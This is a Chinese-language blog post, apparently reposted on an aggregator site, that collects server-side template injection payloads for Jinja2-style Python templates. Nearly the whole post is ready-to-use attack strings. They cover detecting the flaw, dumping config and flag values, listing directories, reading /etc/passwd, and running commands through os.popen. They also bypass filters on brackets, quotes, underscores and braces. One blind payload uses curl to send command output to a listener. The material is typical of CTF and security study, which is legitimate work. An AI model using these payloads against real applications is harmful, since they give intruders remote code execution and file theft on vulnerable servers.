首页 > 其他 > 详细

ssti

时间:2020-04-21 18:24:03      阅读:402      评论:0      收藏:0      [点我收藏+]

ssti

1.检测是否存在ssti

在url后面,或是参数中添加{{ 6*6 }},查看返回的页面中是否有36

2.常用payload

获取基本类

‘‘.__class__.__mro__[2]

{}.__class__.__bases__[0]

().__class__.__bases__[0]

[].__class__.__bases__[0]

request.__class__.__mro__[8]

查看设置中的变量

{{ config }}

{{ url_for.__globals__[‘current_app‘].config[‘flag‘] }}

{{ get_flashed_messages.__globals__[‘current_app‘].config[‘flag‘] }}

查看模板中的变量/内容

{{ self.__dict__ }}

查看文件夹中的文件

{{‘‘.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__[‘os‘].listdir(‘./‘)}}

文件读取

‘‘.__class__.__mro__[-1].__subclasses__()[40](‘filename‘).read()

执行命令

‘‘.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(‘ls‘).read()

3.bypass

过滤中括号[ ]

__mro__[2]== __mro__.__getitem__(2)

过滤引号

  • 先获取chr函数,赋值给chr,后面拼接字符串就好了:

    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

  • 借助request对象(推荐):

    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

  • 执行命令:

    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}

    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤双下划线__

{{ ‘‘[request.args.class][request.args.mro][2][request.args.subclasses]()[40](‘/etc/passwd‘).read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤{{}}

可以利用{%%}标记

  • {% if ‘‘.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen(‘curl http://127.0.0.1:7999/?i=whoami‘).read()==‘p‘ %}1{% endif %}

相当于盲命令执行,利用curl将执行结果带出来

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

  • {% if ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/test‘).read()[0:1]==‘p‘ %}~p0~{% endif %}

4.工具

github上的一个工具:tplmap

我试了下,感觉不是特别好用 = =

5.参考

https://p0sec.net/index.php/archives/120/

https://blog.csdn.net/qq_40657585/article/details/83657220

https://www.cnblogs.com/R3col/p/12709614.html

https://www.cnblogs.com/R3col/p/12696536.html

ssti

原文:https://www.cnblogs.com/R3col/p/12746485.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!